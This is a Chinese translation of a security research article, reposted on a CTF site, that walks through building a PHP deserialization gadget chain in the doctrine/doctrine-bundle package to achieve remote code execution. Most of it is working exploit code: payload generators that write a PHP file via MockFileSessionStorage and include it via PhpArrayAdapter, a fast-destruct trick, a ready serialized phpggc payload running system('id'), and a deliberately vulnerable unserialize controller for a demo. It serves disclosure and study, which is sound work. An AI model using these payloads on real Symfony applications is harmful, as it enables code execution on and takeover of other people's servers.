在通用 Symfony 包中寻找 POP 链(下)

原文链接:FINDING A POP CHAIN ON A COMMON SYMFONY BUNDLE : PART 2
译者:知道创宇404实验室翻译组

Symfony doctrine/doctrine-bundle 是安装在 Symfony应用程序中最常见的包之一。截止本文发布时,它已被下载1.44 亿次,使其成为一个有趣的反序列化利用目标。

POP 链使用的所有代码已在《在通用 Symfony 包中寻找 POP 链(上)》中详细介绍,本文将详细介绍上一章节中提到的如何用已分析的代码构建有效的POP链以及如何构建我们的有效负载,该POP链目前已经作为Doctrine/RCE1提交到phpggc中。

serialize.php文件用于生成有效负载,模板如下所示:

<?php

namespace <namespace_name_from_vendor>
{
    [...]
}
[...]

namespace PopChain
{
use <class_name_from_vendor>;

$obj =<class_name_from_vendor>();
[...]

$serialized = serialize($obj);
echo serialize($obj);
}

unserialize.php文件用于测试反序列化。在这种情况下,包含来自doctrine/doctrine-bundle包的依赖项。

<?php

include "vendor/autoload.php";
unserialize('<serizalized_data_to_test>');

这些doctrine-bundle包是通过 Composer 安装的。

$ composer require doctrine/doctrine-bundle
./composer.json has been ,
Running composer update doctrine/doctrine-bundle
Loading composer repositories with package information
Updating dependencies
Nothing to modify in lock file
Installing dependencies from lock file (including require-dev)
Package operations: 35 installs, 0 updates, 0 removals
[...]

访问CacheAdapter

让我们看看反序列化CacheAdapter对象会发生什么。

<?php

namespace Doctrine\Common\Cache\Psr6
{
    class CacheAdapter
    {
    }
}

namespace PopChain
{
use Doctrine\Common\Cache\Psr6\CacheAdapter;

$obj = new CacheAdapter();

$serialized = serialize($obj);
echo serialize($obj);
}
$ php unserialize.php

因为commit函数中的所有逻辑都依赖于 defferedItems属性,初始情况下不会有任何反应。如果未定义该属性,代码将简单地返回true。

<?php

namespace Doctrine\Common\Cache\Psr6;

final class CacheAdapter implements CacheItemPoolInterface
{
    /** @var Cache */
    private $cache;

    /** @var array<CacheItem|TypedCacheItem> */
    private $deferredItems = [];
    [...]
    public function commit(): bool
    {
        if (! $this->deferredItems) {
            return true;
        }
        [...]
    }
}

通过将defferedItems设置为空数组,我们得到以下错误消息,这意味着我们确实到达了该commit函数。

$ php unserialize.php 

Fatal error: Uncaught TypeError: Doctrine\Common\Cache\Psr6\CacheAdapter::commit(): Return value must be of type bool, null returned in /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php:235
Stack trace:
#0 /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php(248): Doctrine\Common\Cache\Psr6\CacheAdapter->commit()
#1 /tmp/unserialize.php(4): Doctrine\Common\Cache\Psr6\CacheAdapter->__destruct()
#2 {main}
  thrown in /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php on line 235
在通用 Symfony 包中寻找 POP 链(下)

到达commit 函数中的foreach 循环
 

为了在代码中继续执行,必须设置至少一个deferredItem。 根据代码中定义的PHP注释,它应该是一个CacheItemTypedCacheItem,本文后续将解释这种差异(参见PHP 版本差异)。因此,在TypedCacheItem数组中添加了 deferredItems

正如我们在foreach循环中看到的,因为在expiry上进行了检查,因此我们的TypedCacheItem必须定义一个expiry属性。在循环内部,value还将对其进行检查。

<?php

namespace Doctrine\Common\Cache\Psr6;

[...]

final class TypedCacheItem implements CacheItemInterface
{
    private ?float $expiry = null;

    public function get(): mixed
    {
        return $this->value;
    }

    public function getExpiry(): ?float
    {
        return $this->expiry;
    }
}

deferredItem expiry值导致两种不同的可能性。如果当前时间戳小于deferredItem expiry,则进入save方法。

<?php

namespace Doctrine\Common\Cache\Psr6
{
    class CacheAdapter
    {
        public $deferredItems = true;
    }
    class TypedCacheItem
    {
        public $expiry = 99999999999999999;
        public $value = "test";
    }

}

namespace PopChain
{
use Doctrine\Common\Cache\Psr6\CacheAdapter;

$obj = new CacheAdapter();

$obj->deferredItems = [new TypedCacheItem()];
echo serialize($obj);
}
$ php unserialize.php

Fatal error: Uncaught Error: Call to a member function save() on null in /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php:235
Stack trace:
#0 /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php(248): Doctrine\Common\Cache\Psr6\CacheAdapter->commit()
#1 /tmp/unserialize.php(4): Doctrine\Common\Cache\Psr6\CacheAdapter->__destruct()
#2 {main}
  thrown in /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php on line 235

如果当前时间戳大于deferredItem 的expiry,则进入delete方法。

<?php

namespace Doctrine\Common\Cache\Psr6
{
    class CacheAdapter
    {
        public $deferredItems = true;
    }
    class TypedCacheItem
    {
        public $expiry = 1;
        public $value = "test";
    }

}

namespace PopChain
{

use Doctrine\Common\Cache\Psr6\CacheAdapter;
use Doctrine\Common\Cache\Psr6\TypedCacheItem;

$obj = new CacheAdapter();

$obj->deferredItems = [new TypedCacheItem()];
echo serialize($obj);
}
$ php unserialize.php 

Fatal error: Uncaught Error: Call to a member function delete() on null in /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php:227
Stack trace:
#0 /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php(248): Doctrine\Common\Cache\Psr6\CacheAdapter->commit()
#1 /tmp/unserialize.php(4): Doctrine\Common\Cache\Psr6\CacheAdapter->__destruct()
#2 {main}
  thrown in /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php on line 227
在通用 Symfony 包中寻找 POP 链(下)

达到删除或保存功能
 

写入文件

该 POP 链的第一个目标是在文件系统中写入一个文件。为此,我们需要调用MockFileSessionStoragesave函数。

save方法将在CacheAdapter对象的cache属性上调用。在我们的文件中进行定义后,MockFileSessionStorage发生了异常。

<?php

namespace Doctrine\Common\Cache\Psr6
{
    class CacheAdapter
    {
        public $deferredItems = true;
    }
    class TypedCacheItem
    {
        public $expiry = 99999999999999999;
        public $value = "test";
    }

}

namespace Symfony\Component\HttpFoundation\Session\Storage
{
    class MockFileSessionStorage
    {
    }
}

namespace PopChain
{

use Doctrine\Common\Cache\Psr6\CacheAdapter;
use Doctrine\Common\Cache\Psr6\TypedCacheItem;
use Symfony\Component\HttpFoundation\Session\Storage\MockFileSessionStorage;

$obj = new CacheAdapter();
$obj->cache = new MockFileSessionStorage();
$obj->deferredItems = [new TypedCacheItem()];
echo serialize($obj);
}
$ php unserialize.php 

Fatal error: Uncaught RuntimeException: Trying to save a session that was not started yet or was already closed. in /tmp/vendor/symfony/http-foundation/Session/Storage/MockFileSessionStorage.php:79
Stack trace:
#0 /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php(235): Symfony\Component\HttpFoundation\Session\Storage\MockFileSessionStorage->save(0, 'test', 99999998326133680)
#1 /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php(248): Doctrine\Common\Cache\Psr6\CacheAdapter->commit()
#2 /tmp/unserialize.php(4): Doctrine\Common\Cache\Psr6\CacheAdapter->__destruct()
#3 {main}
  thrown in /tmp/vendor/symfony/http-foundation/Session/Storage/MockFileSessionStorage.php on line 79
在通用 Symfony 包中寻找 POP 链(下)

从MockFileSessionStorage 函数触发的异常
 

快速分析一下该save函数。如果started没有定义该属性,就会触发前面的异常,所以需要将其设置为trueMetadataBag对象还必须使用storageKey属性来定义。

$ find . -name '*MetadataBag*'
./vendor/symfony/http-foundation/Session/Storage/MetadataBag.php

$ cat ./vendor/symfony/http-foundation/Session/Storage/MetadataBag.php | grep getStorageKey -A 3
    public function getStorageKey(): string
    {
        return $this->storageKey;
    }

最后,需要向MockFileSessionStorage对象添加以下属性:

  • savePath:在其中创建文件的路径
  • id将附加mocksess扩展的文件名
  • data:将生成文件内容,这里将包含我们要在服务器上执行的PHP代码
<?php

namespace Doctrine\Common\Cache\Psr6
{
    class CacheAdapter
    {
        public $deferredItems = true;
    }
    class TypedCacheItem
    {
        public $expiry = 99999999999999999;
        public $value = "test";
    }

}

namespace Symfony\Component\HttpFoundation\Session\Storage
{
    class MockFileSessionStorage
    {
        public $started = true;
        public $savePath = "/tmp"; // Produces /tmp/aaa.mocksess
        public $id = "aaa";
        public $data = ['<?php system("id"); phpinfo(); ?>'];
    }

    class MetadataBag
    {
       public $storageKey = "a";
    }
}

namespace PopChain
{
use Doctrine\Common\Cache\Psr6\CacheAdapter;
use Doctrine\Common\Cache\Psr6\TypedCacheItem;
use Symfony\Component\HttpFoundation\Session\Storage\MockFileSessionStorage;
use Symfony\Component\HttpFoundation\Session\Storage\MetadataBag;

$obj = new CacheAdapter();
$obj->deferredItems = [new TypedCacheItem()];
$mockSessionStorage = new MockFileSessionStorage();
$mockSessionStorage->metadataBag = new MetadataBag();
$obj->cache =$mockSessionStorage;

echo serialize($obj);
}

如以下 bash 代码片段所示,在反序列化有效负载之后,服务器上会生成aaa.mocksess文件。由于我们已成功在一个可控制的路径上创建了一个文件,因此成功地触发注入代码作为PHP代码执行。

$ php unserialize.php 

Fatal error: Uncaught TypeError: Doctrine\Common\Cache\Psr6\CacheAdapter::commit(): Return value must be of type bool, null returned in /tmp/poc/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php:235
Stack trace:
#0 /tmp/poc/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php(248): Doctrine\Common\Cache\Psr6\CacheAdapter->commit()
#1 /tmp/poc/unserialize.php(4): Doctrine\Common\Cache\Psr6\CacheAdapter->__destruct()
#2 {main}
  thrown in /tmp/poc/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php on line 235
$ ls -l /tmp/aaa.mocksess 
-rw-r--r-- 1 root root 51 Feb 13 15:05 /tmp/aaa.mocksess
$ php /tmp/aaa.mocksess 
a:1:{i:0;s:33:"uid=0(root) gid=0(root) groups=0(root)
phpinfo()
PHP Version => 8.1.15

执行文件

下面的代码能到达前面所说PhpArrayAdapterinitialize函数。

<?php

namespace Doctrine\Common\Cache\Psr6
{
    class CacheAdapter
    {
        public $deferredItems = true;
    }
    class TypedCacheItem
    {
        public $expiry = 1;
        public $value = "test";
    }

}

namespace Symfony\Component\Cache\Adapter
{
    class PhpArrayAdapter
    {
    }
}

namespace PopChain
{
use Doctrine\Common\Cache\Psr6\CacheAdapter;
use Doctrine\Common\Cache\Psr6\TypedCacheItem;
use Symfony\Component\Cache\Adapter\PhpArrayAdapter;

$obj = new CacheAdapter();
$obj->cache = new PhpArrayAdapter();

$obj->deferredItems = [new TypedCacheItem()];
echo serialize($obj);
}

如果对象没有任何定义,那么可以成功地达到该函数,如下面的输出所示。

$ php unserialize.php 

Deprecated: is_file(): Passing null to parameter #1 ($filename) of type string is deprecated in /tmp/poc/vendor/symfony/cache/Adapter/PhpArrayAdapter.php on line 391

Fatal error: Uncaught Error: Call to a member function deleteItem() on null in /tmp/poc/vendor/symfony/cache/Adapter/PhpArrayAdapter.php:196
Stack trace:
#0 /tmp/poc/vendor/symfony/cache-contracts/CacheTrait.php(43): Symfony\Component\Cache\Adapter\PhpArrayAdapter->deleteItem('0')
#1 /tmp/poc/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php(227): Symfony\Component\Cache\Adapter\PhpArrayAdapter->delete('0')
#2 /tmp/poc/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php(248): Doctrine\Common\Cache\Psr6\CacheAdapter->commit()
#3 /tmp/poc/unserialize.php(4): Doctrine\Common\Cache\Psr6\CacheAdapter->__destruct()
#4 {main}
  thrown in /tmp/poc/vendor/symfony/cache/Adapter/PhpArrayAdapter.php on line 196
在通用 Symfony 包中寻找 POP 链(下)

从 PhpArrayAdapter 定义到达的代码
 

实现文件包含的最后一步是为file属性定义一个值。下面的POP链的目标是执行我们之前生成的/tmp/aaa.mocksess文件中定义的代码。

<?php

namespace Doctrine\Common\Cache\Psr6
{
    class CacheAdapter
    {
        public $deferredItems = true;
    }
    class TypedCacheItem
    {
        public $expiry = 1;
        public $value = "test";
    }

}

namespace Symfony\Component\Cache\Adapter
{
    class PhpArrayAdapter
    {
        public $file = "/tmp/aaa.mocksess"; // fixed at the time
    }
}

namespace PopChain
{

use Doctrine\Common\Cache\Psr6\CacheAdapter;
use Doctrine\Common\Cache\Psr6\TypedCacheItem;
use Symfony\Component\Cache\Adapter\PhpArrayAdapter;

$obj = new CacheAdapter();
$obj->cache = new PhpArrayAdapter();

$obj->deferredItems = [new TypedCacheItem()];
echo serialize($obj);
}

正如我们在反序列化时所看到的,POP链成功地达到了require代码。我们先前写入/tmp/aaa.mocksess的PHP代码得到了执行,从而在系统上触发了代码执行。

$ php unserialize.php 
a:1:{i:0;s:33:"uid=0(root) gid=0(root) groups=0(root)
phpinfo()
PHP Version => 8.1.15

System => Linux 184f5674e38c 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64
Build Date => Feb  9 2023 08:04:45

两链协调运行

现在我们已经看到如何生成这两个链条,但还有一些细节需要讨论。事实上,通过第一次触发文件写入,然后触发文件包含,这些链可以很好地协同工作,但也可以在一个反序列化中同时触发它们。

快速析构使用

由于POP链由两条链组成,因此必须使用快速析构来强制执行它们两个的调用。

快速析构是一种用于在反序列化后立即触发destruct()函数的调用的方法。由于我们完全控制了反序列化字符串中定义的对象,因此可以创建异常状态,例如在数组中两次定义相同的索引。这将立即触发destruct()对象的调用。下面的示例中,快速析构将在\Namespace\Object1\Namespace\Object2上调用,但不会在\Namespace\Object3上调用。表示快速析构定义的图示。

在通用 Symfony 包中寻找 POP 链(下)

 

快速析构定义
 

在我们的 POP 链中,因为我们正在使用基于destruct()定义的两个不同的链条,因此快速析构是必需的。

PHP版本差异

最后一点必须讨论:PHP 版本对于这个 POP 链很重要。

所有的演示都是在兼容TypedCacheItem的 PHP 8版本上进行的。但因为TypedCacheItem与 PHP 7程序不兼容,所以之前的POP链上都会从CacheAdapter上抛出错误。

$ php unserialize.php 
Parse error: syntax error, unexpected 'private' (T_PRIVATE), expecting variable (T_VARIABLE) in /tmp/poc/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/TypedCacheItem.php on line 24

再次强调,类型定义在这里是一个问题。正如前文所述,defferedItems有两个可能的值:TypedCacheItemCacheItemCacheItem在PHP 7及以下版本中应使用CacheItem。

如果从PHP 8安装doctrine/doctrine-bundle项目,则在使用TypedCacheItem时将触发以下兼容性问题。

$ php unserialize.php 
Fatal error: Declaration of Doctrine\Common\Cache\Psr6\CacheItem::get() must be compatible with Psr\Cache\CacheItemInterface::get(): mixed in /tmp/poc/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheItem.php on line 51

因此,POP 链必须根据目标 PHP 版本进行调整。

全链条

在考虑完所有最后步骤后,我们serialize.php文件的最终版本如下所示:

<?php

/* Entrypoint of the POPchain */
namespace Doctrine\Common\Cache\Psr6
{
    class CacheAdapter
    {
        public $deferredItems = true;
    }
    class CacheItem
    {
        public $expiry = 99999999999999999;
        public $value = "test";
    }

    class TypedCacheItem
    {
        public $expiry = 99999999999999999;
        public $value = "test";
    }

}

/* File write objects */
namespace Symfony\Component\HttpFoundation\Session\Storage
{
    class MockFileSessionStorage
    {
        public $started = true;
        public $savePath = "/tmp"; // Produces /tmp/aaa.mocksess
        public $id = "aaa"; // File name
        public $data = ['<?php echo "I was TRIGGERED"; system("id"); ?>']; // PHP code executed
    }

    class MetadataBag
    {
        public $storageKey = "a";
    }
}

/* File inclusion objects */
namespace Symfony\Component\Cache\Adapter
{
    class PhpArrayAdapter
    {
        public $file = "/tmp/aaa.mocksess"; // fixed at the time
    }
}


namespace PopChain
{
use Doctrine\Common\Cache\Psr6\CacheAdapter;
use Doctrine\Common\Cache\Psr6\TypedCacheItem;
use Symfony\Component\HttpFoundation\Session\Storage\MockFileSessionStorage;
use Symfony\Component\HttpFoundation\Session\Storage\MetadataBag;
use Symfony\Component\Cache\Adapter\PhpArrayAdapter;


/* CacheItem is compatible with PHP 7.*, TypedCacheItem is compatible with PHP 8.* */
if (preg_match('/^7/', phpversion()))
{
    $firstCacheItem = new CacheItem();
    $secondCacheItem = new CacheItem();
} 
else 
{
    $firstCacheItem = new TypedCacheItem();
    $secondCacheItem = new TypedCacheItem();
}

/* File write */
$obj_write = new CacheAdapter();
$obj_write->deferredItems = [$firstCacheItem];
$mockSessionStorage = new MockFileSessionStorage();
$mockSessionStorage->metadataBag = new MetadataBag();
$obj_write->cache =$mockSessionStorage;

/* File inclusion */
$obj_include = new CacheAdapter();
$obj_include->cache = new PhpArrayAdapter();
$secondCacheItem->expiry = 0; // mandatory to go to another branch from CacheAdapter __destruct
$obj_include->deferredItems = [$secondCacheItem];


$obj = [1000 => $obj_write, 1001 => 1, 2000 => $obj_include, 2001 => 1];

$serialized_string = serialize($obj);
// Setting the indexes for fast destruct
$find_write = (
    '#i:(' .
        1001 . '|' .
        (1001 + 1) .
    ');#'
);
$replace_write = 'i:' . 1000 . ';';
$serialized_string2 = preg_replace($find_write, $replace_write, $serialized_string);
$find_include = (
    '#i:(' .
        2001 . '|' .
        (2001 + 1) .
    ');#'
);
$replace_include = 'i:' . 2000 . ';';
echo preg_replace($find_include, $replace_include, $serialized_string2);
}

它将运营两个 POP 链以此在系统上获得代码执行权限。

$ php unserialize.php 
a:1:{i:0;s:46:"I was TRIGGEREDuid=0(root) gid=0(root) groups=0(root)
";}
Fatal error: Uncaught TypeError: Doctrine\Common\Cache\Psr6\CacheAdapter::commit(): Return value must be of type bool, null returned in /tmp/poc/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php:235
[...]

完整的链已经推送到了phpggc项目上,该项目基是寻找公开披露的 POP 链时的参考项目。

使用 phpggc 生成本文的 POP 链非常简单:

$ phpggc Doctrine/rce1 'system("id");'          
a:4:{i:1000;O:39:"Doctrine\Common\Cache\Psr6\CacheAdapter":3:{s:13:"deferredItems";a:1:{i:0;O:41:"Doctrine\Common\Cache\Psr6\TypedCacheItem":2:{s:6:"expiry";i:99999999999999999;s:5:"value";s:4:"test";}}s:6:"loader";i:1;s:5:"cache";O:71:"Symfony\Component\HttpFoundation\Session\Storage\MockFileSessionStorage":5:{s:7:"started";b:1;s:8:"savePath";s:4:"/tmp";s:2:"id";s:3:"aaa";s:4:"data";a:1:{i:0;s:22:"<?php system("id"); ?>";}s:11:"metadataBag";O:60:"Symfony\Component\HttpFoundation\Session\Storage\MetadataBag":1:{s:10:"storageKey";s:1:"a";}}}i:1000;i:1;i:2000;O:39:"Doctrine\Common\Cache\Psr6\CacheAdapter":3:{s:13:"deferredItems";a:1:{i:0;O:41:"Doctrine\Common\Cache\Psr6\TypedCacheItem":2:{s:6:"expiry";i:0;s:5:"value";s:4:"test";}}s:6:"loader";i:1;s:5:"cache";O:44:"Symfony\Component\Cache\Adapter\ProxyAdapter":1:{s:4:"pool";O:47:"Symfony\Component\Cache\Adapter\PhpArrayAdapter":1:{s:4:"file";s:17:"/tmp/aaa.mocksess";}}}i:2000;i:1;}

此时,doctrine/doctrine-bundle自 1.5.1 版本以来该软件包的所有版本都会受到影响。

更多细节可以在以下phpggc拉取请求中找到。

演示:利用一个基于Symfony的应用程序

演示

如果要设置环境,需要创建一个Symfony应用程序,并安装环境。在现实生活中,只要Symfony应用程序使用doctrine作为其ORM,就会安装doctrine/doctrine-bundle

为证明此概念,此项目已在以下环境中进行了设置,可以通过运行这些命令进行复现。

$ docker run -it -p 8000:80 php:8.1-apache /bin/bash        
$ apt update && apt install wget git unzip libzip-dev
$ wget https://getcomposer.org/installer -O composer-setup.php
$ php composer-setup.php
$ mv composer.phar /usr/local/bin/composer
$ a2enmod rewrite
$ cd /var/www
$ composer create-project symfony/skeleton:"6.2.*" html
$ composer require symfony/maker-bundle --dev
$ php bin/console make:controller UnserializeController
$ composer require symfony/apache-pack
$ composer require doctrine/orm
$ composer require doctrine/doctrine-bundle
$ cat config/routes.yaml 
controllers:
    resource:
        path: ../src/Controller/
        namespace: App\Controller
    type: annotation
$ cat /etc/apache2/sites-enabled/000-default.conf
<VirtualHost *:80>
[...]
        ServerAdmin 
        DocumentRoot /var/www/html/public
[...]
$ service apache2 start

设置完成后,应该能够到达以下页面。而Symfony应用程序必须安装doctrine/doctrine-bundle

在通用 Symfony 包中寻找 POP 链(下)

Symfony 6.3.3 应用程序的默认安装页面
 

UnserializeController类允许用户发送一个经过base64编码的序列化链条来进行反序列化。

<?php

namespace App\Controller;

use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\JsonResponse;
use Symfony\Component\Routing\Annotation\Route;

class UnserializeController extends AbstractController
{
    #[Route('/unserialize')]
    public function index(): JsonResponse
    {
    if (isset($_GET['data'])){
            unserialize(base64_decode($_GET['data']));
    }
        return $this->json([
            'message' => 'Please send the data you want to unserialize with data param'
        ]);
    }
}

最后,对易受攻击的控制器的链条利用演示如下。注意:Symfony应用程序和phpggc需要在PHP 8.1.22上进行运行。

在通用 Symfony 包中寻找 POP 链(下)

利用POP链对易受攻击的Symfony控制器的演示
 

doctrine/doctrine-bundle受影响版本

为了测试POP链的有效性,使用了phpggc的 test-gc-compatibility.py脚本。

POP链可以在以下版本的PHP 8上利用,测试在PHP 8.1.22上运行。可以使用以下命令列出受影响的版本:

$ python3 test-gc-compatibility.py doctrine/doctrine-bundle doctrine/RCE1
Running on PHP version PHP 8.1.22 (cli) (built: Feb 11 2023 10:43:39) (NTS).
Testing 136 versions for doctrine/doctrine-bundle against 1 gadget chains.

┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━━┓
┃ doctrine/doctrine-bundle                 ┃ Package ┃ doctrine/RCE1 ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━━┩
│ 2.11.x-dev                               │   OK    │      OK       │
│ 2.10.x-dev                               │   OK    │      OK       │
│ 2.10.2                                   │   OK    │      OK       │
│ 2.10.1                                   │   OK    │      OK       │
│ 2.10.0                                   │   OK    │      OK       │
│ 2.9.x-dev                                │   OK    │      OK       │
│ 2.9.2                                    │   OK    │      OK       │
[...]1.12.x-dev                               │   OK    │      OK       │
│ 1.12.13                                  │   OK    │      OK       │
│ 1.12.12                                  │   OK    │      OK       │
│ 1.12.11                                  │   OK    │      OK       │
│ 1.12.10                                  │   OK    │      OK       │
[...]1.6.x-dev                                │   OK    │      OK       │
│ 1.6.13                                   │   OK    │      OK       │
│ 1.6.12                                   │   OK    │      OK       │
│ 1.6.11                                   │   OK    │      OK       │
[...]
│ v1.0.0                                   │   OK    │      KO       │
│ v1.0.0-RC1                               │   OK    │      KO       │
│ v1.0.0-beta1                             │   KO    │       -       │
│ dev-2.10.x-merge-up-into-2.11.x_IKPBtWeg │   OK    │      OK       │
│ dev-symfony-7                            │   OK    │      OK       │
└──────────────────────────────────────────┴─────────┴───────────────┘

POP 链也适用于 PHP 7,可以在phpggc pull request找到易受攻击的包。

受影响的项目

话虽这么说,这个技巧本身并不是一个漏洞,只要用户提供的数据被发送到任何使用受影响版本doctrine/doctrine-bundle包的反序列化函数中,就可以使用这个POP链。

要修补unserialize问题,可以使用allowed_classes参数来使用有效类的白名单。然而,建议使用更安全的函数来处理用户数据,例如json_encode,并从这种编码中重新创建对象。

写在最后

我们认为分享完整的研究过程可能会很有趣,因为这个 POP 链涉及几个反序列化技巧。虽然这种方法可能不是最优的,但它给出了一个总体逻辑,即用于识别POP链以及如何入门的思路。

在撰写本文时,Doctrine/RCE1 链中简化了一些不必要的步骤。可以在phpggc查看项目详细信息。

使用 PHP 调试器(例如xdebug)将大大提高此过程的速度。本文认为,利用漏洞并不总是必须使用精美的工具,只需要了解正在处理的内容以及目标是什么。即使 POP 链本身无法被利用,寻找它们也是了解 PHP 代码如何深入解释的一个很好的练习。

 

原文始发于Seebug:在通用 Symfony 包中寻找 POP 链(下)

版权声明:admin 发表于 2023年11月10日 上午12:36。
转载请注明:在通用 Symfony 包中寻找 POP 链(下) | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...